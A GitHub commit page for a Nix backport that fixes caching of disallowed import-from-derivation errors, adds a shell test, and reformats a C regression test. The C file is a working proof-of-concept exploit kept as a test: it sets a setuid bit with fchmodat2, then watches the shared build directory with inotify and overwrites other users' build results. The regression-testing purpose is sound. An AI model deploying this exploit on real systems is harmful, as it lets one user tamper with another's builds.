1
0
Fork 0
mirror of https://github.com/NixOS/nix synced 2025-07-03 06:11:46 +02:00

Merge pull request #11000 from hercules-ci/backport-10992-to-2.23-maintenance

[Backport 2.23-maintenance] Fix #10947; don't cache disallowed IFD
This commit is contained in:
Eelco Dolstra 2024-07-01 14:14:04 +02:00 committed by GitHub
commit f80e0832bc
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
4 changed files with 81 additions and 68 deletions

View file

@ -1,8 +1,6 @@
--- ---
synopsis: Harden the user sandboxing synopsis: Harden the user sandboxing
significance: significant significance: significant
issues:
prs: <only provided once merged>
--- ---
The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user.

View file

@ -79,7 +79,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS
if (drvs.empty()) return {}; if (drvs.empty()) return {};
if (isIFD && !evalSettings.enableImportFromDerivation) if (isIFD && !evalSettings.enableImportFromDerivation)
error<EvalError>( error<EvalBaseError>(
"cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled",
drvs.begin()->to_string(*store) drvs.begin()->to_string(*store)
).debugThrow(); ).debugThrow();

View file

@ -7,12 +7,22 @@ requireGit
flake1Dir="$TEST_ROOT/eval-cache-flake" flake1Dir="$TEST_ROOT/eval-cache-flake"
createGitRepo "$flake1Dir" "" createGitRepo "$flake1Dir" ""
cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/"
git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix
git -C "$flake1Dir" commit -m "config.nix"
cat >"$flake1Dir/flake.nix" <<EOF cat >"$flake1Dir/flake.nix" <<EOF
{ {
description = "Fnord"; description = "Fnord";
outputs = { self }: { outputs = { self }: let inherit (import ./config.nix) mkDerivation; in {
foo.bar = throw "breaks"; foo.bar = throw "breaks";
drv = mkDerivation {
name = "build";
buildCommand = ''
echo true > \$out
'';
};
ifd = assert (import self.drv); self.drv;
}; };
} }
EOF EOF
@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init"
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks'
# Conditional error should not be cached
expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \
| grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled'
nix build "$flake1Dir#ifd"

View file

@ -9,74 +9,74 @@
#define SYS_fchmodat2 452 #define SYS_fchmodat2 452
int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) { int fchmodat2(int dirfd, const char * pathname, mode_t mode, int flags)
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags); {
return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
} }
int main(int argc, char **argv) { int main(int argc, char ** argv)
if (argc <= 1) { {
// stage 1: place the setuid-builder executable if (argc <= 1) {
// stage 1: place the setuid-builder executable
// make the build directory world-accessible first // make the build directory world-accessible first
chmod(".", 0755); chmod(".", 0755);
if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) { if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
perror("Setting the suid bit on attacker"); perror("Setting the suid bit on attacker");
exit(-1); exit(-1);
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event *ev;
for (char *pe = buf; pe < buf + len;
pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *)pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
} }
}
} else {
// stage 2: corrupt the victim derivation while it's building
// prevent the kill
if (setresuid(-1, -1, getuid())) {
perror("setresuid");
exit(-1);
}
if (fork() == 0) {
// wait for the victim to build
int fd = inotify_init();
inotify_add_watch(fd, argv[1], IN_CREATE);
int dirfd = open(argv[1], O_DIRECTORY);
if (dirfd < 0) {
perror("opening the global build directory");
exit(-1);
}
char buf[4096];
fprintf(stderr, "Entering the inotify loop\n");
for (;;) {
ssize_t len = read(fd, buf, sizeof(buf));
struct inotify_event * ev;
for (char * pe = buf; pe < buf + len; pe += sizeof(struct inotify_event) + ev->len) {
ev = (struct inotify_event *) pe;
fprintf(stderr, "folder %s created\n", ev->name);
// wait a bit to prevent racing against the creation
sleep(1);
int builddir = openat(dirfd, ev->name, O_DIRECTORY);
if (builddir < 0) {
perror("opening the build directory");
continue;
}
int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
if (resultfile < 0) {
perror("opening the hijacked file");
continue;
}
int writeres = write(resultfile, "bad\n", 4);
if (writeres < 0) {
perror("writing to the hijacked file");
continue;
}
fprintf(stderr, "Hijacked the build for %s\n", ev->name);
return 0;
}
}
}
exit(0);
} }
exit(0);
}
} }